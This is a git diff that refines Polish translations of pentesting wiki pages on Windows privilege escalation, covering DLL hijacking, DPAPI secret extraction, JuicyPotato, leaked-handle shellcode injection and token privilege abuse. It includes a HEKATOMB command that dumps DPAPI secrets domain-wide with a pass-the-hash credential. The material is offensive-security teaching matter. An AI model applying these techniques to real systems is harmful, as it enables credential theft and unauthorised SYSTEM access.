+Istnieją inne sposoby na zmianę kolejności wyszukiwania, ale nie zamierzam ich tutaj wyjaśniać.
 
-#### Exceptions on dll search order from Windows docs
+#### Wyjątki w kolejności wyszukiwania DLL w dokumentacji Windows
 
-Niektóre wyjątki od standardowej kolejności wyszukiwania DLL są zauważane w dokumentacji Windows:
+W dokumentacji Windows zauważono pewne wyjątki od standardowej kolejności wyszukiwania DLL:
 
 - Gdy napotkany jest **DLL, który dzieli swoją nazwę z już załadowanym w pamięci**, system pomija zwykłe wyszukiwanie. Zamiast tego wykonuje sprawdzenie przekierowania i manifestu, zanim domyślnie przejdzie do DLL już w pamięci. **W tej sytuacji system nie przeprowadza wyszukiwania DLL**.
 - W przypadkach, gdy DLL jest rozpoznawany jako **znany DLL** dla bieżącej wersji Windows, system wykorzysta swoją wersję znanego DLL, wraz z wszelkimi jego zależnymi DLL, **pomijając proces wyszukiwania**. Klucz rejestru **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** zawiera listę tych znanych DLL.
-- Jeśli **DLL ma zależności**, wyszukiwanie tych zależnych DLL jest przeprowadzane tak, jakby były wskazane tylko przez swoje **nazwy modułów**, niezależnie od tego, czy początkowy DLL został zidentyfikowany przez pełną ścieżkę.
+- Jeśli **DLL ma zależności**, wyszukiwanie tych zależnych DLL odbywa się tak, jakby były wskazane tylko przez swoje **nazwy modułów**, niezależnie od tego, czy początkowy DLL został zidentyfikowany przez pełną ścieżkę.
 
-### Escalating Privileges
+### Eskalacja uprawnień
 
 **Wymagania**:
 
 - Zidentyfikuj proces, który działa lub będzie działał z **innymi uprawnieniami** (ruch poziomy lub boczny), który **nie ma DLL**.
-- Upewnij się, że **dostęp do zapisu** jest dostępny dla dowolnego **katalogu**, w którym **DLL** będzie **wyszukiwany**. To miejsce może być katalogiem wykonywalnym lub katalogiem w ścieżce systemowej.
+- Upewnij się, że **dostęp do zapisu** jest dostępny dla dowolnego **katalogu**, w którym **DLL** będzie **wyszukiwany**. To miejsce może być katalogiem pliku wykonywalnego lub katalogiem w ścieżce systemowej.
 
-Tak, wymagania są skomplikowane do znalezienia, ponieważ **domyślnie dość dziwne jest znalezienie uprzywilejowanego pliku wykonywalnego bez dll** i jest jeszcze **dziwniejsze mieć uprawnienia do zapisu w folderze ścieżki systemowej** (domyślnie nie możesz). Ale w źle skonfigurowanych środowiskach jest to możliwe.\
+Tak, wymagania są skomplikowane do znalezienia, ponieważ **domyślnie dość dziwne jest znalezienie pliku wykonywalnego z uprawnieniami, który nie ma DLL** i jest jeszcze **dziwniejsze, aby mieć uprawnienia do zapisu w folderze ścieżki systemowej** (domyślnie nie możesz). Ale w źle skonfigurowanych środowiskach jest to możliwe.\
 W przypadku, gdy masz szczęście i spełniasz wymagania, możesz sprawdzić projekt [UACME](https://github.com/hfiref0x/UACME). Nawet jeśli **głównym celem projektu jest obejście UAC**, możesz tam znaleźć **PoC** DLL hijacking dla wersji Windows, której możesz użyć (prawdopodobnie zmieniając tylko ścieżkę folderu, w którym masz uprawnienia do zapisu).
 
 Zauważ, że możesz **sprawdzić swoje uprawnienia w folderze**, wykonując:
@@ -105,12 +100,12 @@ writable-sys-path-+dll-hijacking-privesc.md
 
 ### Narzędzia automatyczne
 
-[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) sprawdzi, czy masz uprawnienia do zapisu w jakimkolwiek folderze w systemowym PATH.\
+[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)sprawdzi, czy masz uprawnienia do zapisu w jakimkolwiek folderze w system PATH.\
 Inne interesujące narzędzia automatyczne do odkrywania tej podatności to **funkcje PowerSploit**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ i _Write-HijackDll._
 
 ### Przykład
 
-W przypadku znalezienia scenariusza, który można wykorzystać, jedną z najważniejszych rzeczy, aby skutecznie go wykorzystać, byłoby **stworzenie dll, która eksportuje przynajmniej wszystkie funkcje, które wykonywalny plik będzie z niej importować**. Tak czy inaczej, zauważ, że Dll Hijacking jest przydatny do [eskalacji z poziomu Medium Integrity do High **(obejście UAC)**](../../authentication-credentials-uac-and-efs/#uac) lub z [**High Integrity do SYSTEM**](../#from-high-integrity-to-system)**.** Możesz znaleźć przykład **jak stworzyć ważną dll** w tym badaniu dll hijacking skoncentrowanym na dll hijacking do wykonania: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
+W przypadku znalezienia scenariusza, który można wykorzystać, jedną z najważniejszych rzeczy, aby skutecznie go wykorzystać, byłoby **stworzenie dll, która eksportuje przynajmniej wszystkie funkcje, które wykonywalny plik będzie z niej importować**. W każdym razie, zauważ, że Dll Hijacking jest przydatny do [eskalacji z poziomu Medium Integrity do High **(obejście UAC)**](../../authentication-credentials-uac-and-efs/#uac) lub z [**High Integrity do SYSTEM**](../#from-high-integrity-to-system)**.** Możesz znaleźć przykład **jak stworzyć ważną dll** w tym badaniu dotyczącym dll hijacking skoncentrowanym na dll hijacking do wykonania: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
 Ponadto, w **następnej sekcji** możesz znaleźć kilka **podstawowych kodów dll**, które mogą być przydatne jako **szablony** lub do stworzenia **dll z niepotrzebnymi funkcjami eksportowanymi**.
 
 ## **Tworzenie i kompilowanie Dlls**
@@ -223,10 +218,5 @@ return TRUE;
 - [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
 - [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
 
-

-
-**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
index 357afa638..34773588d 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
@@ -53,15 +53,15 @@ Uruchamiając to na darmowej **wirtualnej maszynie (vmware) Windows 11** uzyska
 
 

 
-W tym przypadku .exe są bezużyteczne, więc je zignoruj, brakujące DLL pochodziły z:
+W tym przypadku .exe są bezużyteczne, więc je zignoruj, brakujące DLL pochodziły od:
 
 | Usługa                          | Dll                | Linia CMD                                                           |
 | ------------------------------- | ------------------ | ------------------------------------------------------------------- |
-| Harmonogram zadań (Schedule)   | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule`         |
+| Harmonogram zadań (Schedule)   | WptsExtensions.dll | `C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule`        |
 | Usługa polityki diagnostycznej (DPS) | Unknown.DLL        | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` |
-| ???                             | SharedRes.dll      | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup`               |
+| ???                             | SharedRes.dll      | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup`              |
 
-Po znalezieniu tego, znalazłem ten interesujący post na blogu, który również wyjaśnia, jak [**nadużyć WptsExtensions.dll do eskalacji uprawnień**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll). Co zamierzamy teraz zrobić.
+Po znalezieniu tego, znalazłem ten interesujący post na blogu, który również wyjaśnia, jak [**nadużyć WptsExtensions.dll do eskalacji uprawnień**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll). Co właśnie **zamierzamy teraz zrobić**.
 
 ### Eksploatacja
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
index fc622d048..e2664e52c 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
@@ -14,7 +14,7 @@ Wśród danych osobowych chronionych przez DPAPI znajdują się:
 
 - Hasła i dane autouzupełniania Internet Explorera i Google Chrome
 - Hasła do kont e-mail i wewnętrznych kont FTP dla aplikacji takich jak Outlook i Windows Mail
-- Hasła do folderów współdzielonych, zasobów, sieci bezprzewodowych i Windows Vault, w tym klucze szyfrujące
+- Hasła do folderów udostępnionych, zasobów, sieci bezprzewodowych i Windows Vault, w tym klucze szyfrujące
 - Hasła do połączeń zdalnego pulpitu, .NET Passport oraz klucze prywatne do różnych celów szyfrowania i uwierzytelniania
 - Hasła sieciowe zarządzane przez Credential Manager oraz dane osobowe w aplikacjach korzystających z CryptProtectData, takich jak Skype, MSN messenger i inne
 
@@ -64,7 +64,7 @@ To, jak wygląda zestaw kluczy głównych użytkownika:
 
 ![](<../../images/image (1121).png>)
 
-Zazwyczaj **każdy klucz główny to zaszyfrowany klucz symetryczny, który może odszyfrować inne treści**. Dlatego **wyodrębnienie** **zaszyfrowanego klucza głównego** jest interesujące, aby później **odszyfrować** **inne treści** zaszyfrowane tym kluczem.
+Zazwyczaj **każdy klucz główny to zaszyfrowany klucz symetryczny, który może odszyfrować inny content**. Dlatego **wyodrębnienie** **zaszyfrowanego klucza głównego** jest interesujące, aby **odszyfrować** później ten **inny content** zaszyfrowany za jego pomocą.
 
 ### Wyodrębnij klucz główny i odszyfruj
 
@@ -72,11 +72,11 @@ Sprawdź post [https://www.ired.team/offensive-security/credential-access-and-cr
 
 ## SharpDPAPI
 
-[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1) to port C# niektórych funkcji DPAPI z projektu [@gentilkiwi](https://twitter.com/gentilkiwi) [Mimikatz](https://github.com/gentilkiwi/mimikatz/).
+[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1) to port C# niektórych funkcji DPAPI z projektu [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Mimikatz](https://github.com/gentilkiwi/mimikatz/).
 
 ## HEKATOMB
 
-[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) to narzędzie, które automatyzuje wyodrębnianie wszystkich użytkowników i komputerów z katalogu LDAP oraz wyodrębnianie klucza zapasowego kontrolera domeny przez RPC. Skrypt następnie rozwiąże wszystkie adresy IP komputerów i wykona smbclient na wszystkich komputerach, aby odzyskać wszystkie obiekty DPAPI wszystkich użytkowników i odszyfrować wszystko za pomocą klucza zapasowego domeny.
+[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) to narzędzie, które automatyzuje wyodrębnianie wszystkich użytkowników i komputerów z katalogu LDAP oraz wyodrębnianie klucza zapasowego kontrolera domeny przez RPC. Skrypt następnie rozwiąże adresy IP wszystkich komputerów i wykona smbclient na wszystkich komputerach, aby odzyskać wszystkie obiekty DPAPI wszystkich użytkowników i odszyfrować wszystko za pomocą klucza zapasowego domeny.
 
 `python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md b/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md
index 9da196fe5..64305cba6 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/integrity-levels.md
@@ -26,7 +26,7 @@ Możesz również uzyskać swój **aktualny poziom integralności** używając `
 ### Poziomy integralności w systemie plików
 
 Obiekt w systemie plików może wymagać **minimalnego poziomu integralności**, a jeśli proces nie ma tego poziomu integralności, nie będzie mógł z nim współdziałać.\
-Na przykład, stwórzmy **plik z konsoli standardowego użytkownika i sprawdźmy uprawnienia**:
+Na przykład, **stwórzmy plik z konsoli standardowego użytkownika i sprawdźmy uprawnienia**:
 ```
 echo asd >asd.txt
 icacls asd.txt
@@ -37,7 +37,7 @@ NT AUTHORITY\INTERACTIVE:(I)(M,DC)
 NT AUTHORITY\SERVICE:(I)(M,DC)
 NT AUTHORITY\BATCH:(I)(M,DC)
 ```
-Teraz przypiszmy minimalny poziom integralności **Wysoki** do pliku. To **musi być zrobione z konsoli** uruchomionej jako **administrator**, ponieważ **zwykła konsola** będzie działać na poziomie integralności Medium i **nie będzie mogła** przypisać poziomu integralności Wysoki do obiektu:
+Teraz przypiszmy minimalny poziom integralności **Wysoki** do pliku. To **musi być zrobione z konsoli** uruchomionej jako **administrator**, ponieważ **zwykła konsola** będzie działać na poziomie integralności Medium i **nie będzie miała pozwolenia** na przypisanie poziomu integralności Wysoki do obiektu:
 ```
 icacls asd.txt /setintegritylevel(oi)(ci) High
 processed file: asd.txt
@@ -86,6 +86,6 @@ Dla ciekawskich, jeśli przypiszesz wysoki poziom integralności do binarnego (`
 
 Nie wszystkie pliki i foldery mają minimalny poziom integralności, **ale wszystkie procesy działają pod poziomem integralności**. I podobnie jak miało to miejsce w przypadku systemu plików, **jeśli proces chce zapisać w innym procesie, musi mieć przynajmniej ten sam poziom integralności**. Oznacza to, że proces z niskim poziomem integralności nie może otworzyć uchwytu z pełnym dostępem do procesu z średnim poziomem integralności.
 
-Z powodu ograniczeń omówionych w tej i poprzedniej sekcji, z punktu widzenia bezpieczeństwa, zawsze **zaleca się uruchamianie procesu na najniższym możliwym poziomie integralności**.
+Z powodu ograniczeń omówionych w tej i poprzedniej sekcji, z punktu widzenia bezpieczeństwa, zawsze **zaleca się uruchamianie procesu na jak najniższym poziomie integralności**.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
index d1c263708..52c42e04d 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
@@ -3,7 +3,7 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 > [!WARNING]
-> **JuicyPotato nie działa** na Windows Server 2019 i Windows 10 w wersji 1809 i nowszych. Jednakże, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) mogą być użyte do **uzyskania tych samych uprawnień i zdobycia dostępu na poziomie `NT AUTHORITY\SYSTEM`**. _**Sprawdź:**_
+> **JuicyPotato nie działa** na Windows Server 2019 i Windows 10 od wersji 1809. Jednak [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) mogą być użyte do **uzyskania tych samych uprawnień i zdobycia dostępu na poziomie `NT AUTHORITY\SYSTEM`**. _**Sprawdź:**_
 
 {{#ref}}
 roguepotato-and-printspoofer.md
@@ -11,7 +11,7 @@ roguepotato-and-printspoofer.md
 
 ## Juicy Potato (wykorzystanie złotych uprawnień) 
 
-_Słodzona wersja_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, z odrobiną soku, tzn. **kolejne narzędzie do eskalacji uprawnień lokalnych, z konta usługi Windows do NT AUTHORITY\SYSTEM**_
+_Słodzona wersja_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, z odrobiną soku, tj. **kolejne narzędzie do eskalacji uprawnień lokalnych, z kont usług Windows do NT AUTHORITY\SYSTEM**_
 
 #### Możesz pobrać juicypotato z [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
 
@@ -48,7 +48,7 @@ JuicyPotato pozwala Ci:
 - **Argument procesu** _dostosuj argumenty uruchamianego procesu_
 - **Adres serwera RPC** _dla dyskretnego podejścia możesz uwierzytelnić się w zewnętrznym serwerze RPC_
 - **Port serwera RPC** _przydatne, jeśli chcesz uwierzytelnić się w zewnętrznym serwerze, a zapora blokuje port `135`…_
-- **TRYB TESTOWY** _głównie do celów testowych, tzn. testowanie CLSID-ów. Tworzy DCOM i drukuje użytkownika tokena. Zobacz_ [_tutaj do testowania_](http://ohpe.it/juicy-potato/Test/)
+- **TRYB TESTOWY** _głównie do celów testowych, tj. testowanie CLSID-ów. Tworzy DCOM i drukuje użytkownika tokena. Zobacz_ [_tutaj do testowania_](http://ohpe.it/juicy-potato/Test/)
 
 ### Użycie 
 ```
@@ -69,7 +69,7 @@ Optional args:
 ```
 ### Ostateczne myśli 
 
-[**Z Readme juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
+[**Z juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
 
 Jeśli użytkownik ma uprawnienia `SeImpersonate` lub `SeAssignPrimaryToken`, to jesteś **SYSTEM**.
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md
index 595a83429..7aec8dbc8 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md
@@ -41,7 +41,7 @@ W [**tym doskonałym artykule**](http://dronesec.pw/blog/2019/08/22/exploiting-l
 
 Jeśli **nieuprzywilejowany proces dziedziczy** **uchwyt** z **uprawnieniami** równoważnymi **do zapisu** nad **uprzywilejowanym plikiem lub rejestrem**, będzie w stanie **nadpisać** plik/rejestr (a z dużą **szczęściem**, **eskalować uprawnienia**).
 
-**Uchwyty sekcji** są podobne do uchwytów plików, powszechną nazwą tego rodzaju [obiektów jest **"Mapowanie plików"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). Służą do pracy z **dużymi plikami bez trzymania całego** pliku w pamięci. To sprawia, że wykorzystanie ich jest "podobne" do wykorzystania uchwytu pliku.
+**Uchwyty sekcji** są podobne do uchwytów plików, powszechną nazwą tego rodzaju [obiektów jest **"Mapowanie plików"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). Służą do pracy z **dużymi plikami bez trzymania całego** pliku w pamięci. To sprawia, że wykorzystanie jest "podobne" do wykorzystania uchwytu pliku.
 
 ## Jak zobaczyć uchwyty procesów
 
@@ -82,7 +82,7 @@ Teraz, gdy wiesz, jak znaleźć uchwyty procesów, musisz sprawdzić, czy jakiko
 
 ## Przykład podatności
 
-Na przykład, poniższy kod należy do **usługi Windows**, która byłaby podatna. Podatny kod tego binarnego serwisu znajduje się wewnątrz funkcji **`Exploit`**. Ta funkcja zaczyna **tworzyć nowy uchwyt procesu z pełnym dostępem**. Następnie **tworzy proces o niskich uprawnieniach** (poprzez skopiowanie niskich uprawnień tokena _explorer.exe_), wykonując _C:\users\username\desktop\client.exe_. **Podatność polega na tym, że tworzy proces o niskich uprawnieniach z `bInheritHandles` ustawionym na `TRUE`**.
+Na przykład, poniższy kod należy do **usługi Windows**, która byłaby podatna. Podatny kod tego binarnego serwisu znajduje się w funkcji **`Exploit`**. Ta funkcja zaczyna **tworzyć nowy proces uchwytu z pełnym dostępem**. Następnie **tworzy proces o niskich uprawnieniach** (kopiując token o niskich uprawnieniach z _explorer.exe_), wykonując _C:\users\username\desktop\client.exe_. **Podatność polega na tym, że tworzy proces o niskich uprawnieniach z `bInheritHandles` ustawionym na `TRUE`**.
 
 W związku z tym ten proces o niskich uprawnieniach jest w stanie przejąć uchwyt wysoko uprzywilejowanego procesu utworzonego jako pierwszy i wstrzyknąć oraz wykonać shellcode (zobacz następny rozdział).
 ```c
@@ -295,7 +295,7 @@ return 0;
 > [!NOTE]
 > W rzeczywistym scenariuszu prawdopodobnie **nie będziesz w stanie kontrolować binarnego pliku**, który ma być wykonany przez podatny kod (_C:\users\username\desktop\client.exe_ w tym przypadku). Prawdopodobnie **skompromitujesz proces i będziesz musiał sprawdzić, czy możesz uzyskać dostęp do jakiegokolwiek podatnego uchwytu jakiegokolwiek uprzywilejowanego procesu**.
 
-W tym przykładzie znajdziesz kod możliwego eksploitu dla _C:\users\username\desktop\client.exe_.\
+W tym przykładzie możesz znaleźć kod możliwego eksploitu dla _C:\users\username\desktop\client.exe_.\
 Najciekawsza część tego kodu znajduje się w `GetVulnProcHandle`. Ta funkcja **rozpocznie pobieranie wszystkich uchwytów**, następnie **sprawdzi, czy którykolwiek z nich należy do tego samego PID** i czy uchwyt należy do **procesu**. Jeśli wszystkie te wymagania są spełnione (znaleziono dostępny otwarty uchwyt procesu), próbuje **wstrzyknąć i wykonać shellcode, nadużywając uchwytu procesu**.\
 Wstrzyknięcie shellcode odbywa się wewnątrz funkcji **`Inject`** i po prostu **zapisuje shellcode wewnątrz uprzywilejowanego procesu i tworzy wątek wewnątrz tego samego procesu**, aby wykonać shellcode).
 ```c
@@ -505,9 +505,9 @@ return 0;
 > [!NOTE]
 > W rzeczywistym scenariuszu prawdopodobnie **nie będziesz w stanie kontrolować binarnego pliku**, który ma być wykonany przez podatny kod (_C:\users\username\desktop\client.exe_ w tym przypadku). Prawdopodobnie **skompromitujesz proces i będziesz musiał sprawdzić, czy możesz uzyskać dostęp do jakiegokolwiek podatnego uchwytu jakiegoś uprzywilejowanego procesu**.
 
-W tym przykładzie, **zamiast nadużywać otwartego uchwytu do wstrzykiwania** i wykonywania shellcode, **zostanie użyty token procesu z otwartego uchwytu uprzywilejowanego do stworzenia nowego**. To jest zrealizowane w liniach od 138 do 148.
+W tym przykładzie, **zamiast nadużywać otwartego uchwytu do wstrzyknięcia** i wykonania shellcode, **zostanie użyty token uprzywilejowanego procesu z otwartego uchwytu do stworzenia nowego**. To jest zrealizowane w liniach od 138 do 148.
 
-Zauważ, jak **funkcja `UpdateProcThreadAttribute`** jest używana z **atrybutem `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` oraz uchwytem do otwartego procesu uprzywilejowanego**. Oznacza to, że **utworzony wątek procesu wykonujący \_cmd.exe**\_\*\* będzie miał te same uprawnienia tokena co proces z otwartym uchwytem\*\*.
+Zauważ, jak **funkcja `UpdateProcThreadAttribute`** jest używana z **atrybutem `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` oraz uchwytem do otwartego uprzywilejowanego procesu**. Oznacza to, że **utworzony wątek procesu wykonujący \_cmd.exe**\_\*\* będzie miał te same uprawnienia tokena co proces z otwartym uchwytem\*\*.
 ```c
 #include 
 #include 
@@ -672,7 +672,7 @@ return 0;
 
 - [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder)
 
-To narzędzie pozwala monitorować wyciekające uchwyty, aby znaleźć podatne i nawet je automatycznie wykorzystać. Posiada również narzędzie do wycieku jednego.
+To narzędzie pozwala monitorować wyciekające uchwyty, aby znaleźć podatne i nawet automatycznie je wykorzystać. Posiada również narzędzie do wycieku jednego.
 
 - [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles)
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
index f13409b8a..1fa906c9a 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
@@ -1,10 +1,10 @@
-# Abusing Tokens
+# Nadużywanie Tokenów
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Tokens
+## Tokeny
 
-If you **nie wiesz, czym są Windows Access Tokens**, przeczytaj tę stronę przed kontynuowaniem:
+Jeśli **nie wiesz, czym są tokeny dostępu w systemie Windows**, przeczytaj tę stronę przed kontynuowaniem:
 
 {{#ref}}
 access-tokens.md
@@ -14,7 +14,7 @@ access-tokens.md
 
 ### SeImpersonatePrivilege
 
-To uprawnienie, które posiada każdy proces, pozwala na impersonację (ale nie tworzenie) dowolnego tokena, pod warunkiem, że można uzyskać do niego uchwyt. Uprawniony token można uzyskać z usługi Windows (DCOM) poprzez skłonienie jej do przeprowadzenia uwierzytelnienia NTLM przeciwko exploitowi, co następnie umożliwia wykonanie procesu z uprawnieniami SYSTEM. Ta luka może być wykorzystana za pomocą różnych narzędzi, takich jak [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (które wymaga wyłączenia winrm), [SweetPotato](https://github.com/CCob/SweetPotato) i [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
+Jest to uprawnienie, które posiada każdy proces, pozwalające na impersonację (ale nie tworzenie) dowolnego tokena, pod warunkiem, że można uzyskać uchwyt do niego. Uprawniony token można uzyskać z usługi Windows (DCOM) poprzez skłonienie jej do przeprowadzenia uwierzytelnienia NTLM przeciwko exploitowi, co następnie umożliwia wykonanie procesu z uprawnieniami SYSTEM. Ta luka może być wykorzystana za pomocą różnych narzędzi, takich jak [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (które wymaga wyłączenia winrm), [SweetPotato](https://github.com/CCob/SweetPotato) i [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
 
 {{#ref}}
 roguepotato-and-printspoofer.md
@@ -28,21 +28,21 @@ juicypotato.md
 
 Jest bardzo podobne do **SeImpersonatePrivilege**, użyje **tej samej metody** do uzyskania uprawnionego tokena.\
 Następnie to uprawnienie pozwala **przypisać token główny** do nowego/zawieszonego procesu. Z uprawnionym tokenem impersonacyjnym możesz uzyskać token główny (DuplicateTokenEx).\
-Z tokenem możesz stworzyć **nowy proces** za pomocą 'CreateProcessAsUser' lub stworzyć proces zawieszony i **ustawić token** (ogólnie rzecz biorąc, nie możesz modyfikować głównego tokena działającego procesu).
+Z tym tokenem możesz stworzyć **nowy proces** za pomocą 'CreateProcessAsUser' lub stworzyć proces zawieszony i **ustawić token** (ogólnie rzecz biorąc, nie możesz modyfikować głównego tokena działającego procesu).
 
 ### SeTcbPrivilege
 
-Jeśli masz włączony ten token, możesz użyć **KERB_S4U_LOGON**, aby uzyskać **token impersonacyjny** dla dowolnego innego użytkownika bez znajomości poświadczeń, **dodać dowolną grupę** (administratorów) do tokena, ustawić **poziom integralności** tokena na "**medium**" i przypisać ten token do **bieżącego wątku** (SetThreadToken).
+Jeśli masz włączony ten token, możesz użyć **KERB_S4U_LOGON** do uzyskania **tokena impersonacyjnego** dla dowolnego innego użytkownika bez znajomości poświadczeń, **dodać dowolną grupę** (administratorów) do tokena, ustawić **poziom integralności** tokena na "**średni**" i przypisać ten token do **bieżącego wątku** (SetThreadToken).
 
 ### SeBackupPrivilege
 
-System jest zmuszony do **przyznania pełnego dostępu do odczytu** do dowolnego pliku (ograniczonego do operacji odczytu) przez to uprawnienie. Jest wykorzystywane do **odczytywania hashy haseł lokalnych kont Administratora** z rejestru, po czym narzędzia takie jak "**psexec**" lub "**wmiexec**" mogą być używane z hashem (technika Pass-the-Hash). Jednak ta technika zawodzi w dwóch warunkach: gdy konto lokalnego administratora jest wyłączone lub gdy obowiązuje polityka, która odbiera prawa administracyjne lokalnym administratorom łączącym się zdalnie.\
+System jest zmuszony do **przyznania pełnego dostępu do odczytu** do dowolnego pliku (ograniczonego do operacji odczytu) przez to uprawnienie. Jest wykorzystywane do **odczytywania skrótów haseł lokalnych kont administratorów** z rejestru, po czym narzędzia takie jak "**psexec**" lub "**wmiexec**" mogą być używane z hasłem (technika Pass-the-Hash). Jednak ta technika zawodzi w dwóch warunkach: gdy konto lokalnego administratora jest wyłączone lub gdy obowiązuje polityka, która odbiera prawa administracyjne lokalnym administratorom łączącym się zdalnie.\
 Możesz **nadużyć tego uprawnienia** za pomocą:
 
 - [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
 - [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
 - śledząc **IppSec** w [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
-- Lub jak wyjaśniono w sekcji **podnoszenia uprawnień z Backup Operators** w:
+- Lub jak wyjaśniono w sekcji **podnoszenia uprawnień z operatorami kopii zapasowej** w:
 
 {{#ref}}
 ../active-directory-methodology/privileged-groups-and-token-privileges.md
@@ -50,7 +50,7 @@ Możesz **nadużyć tego uprawnienia** za pomocą:
 
 ### SeRestorePrivilege
 
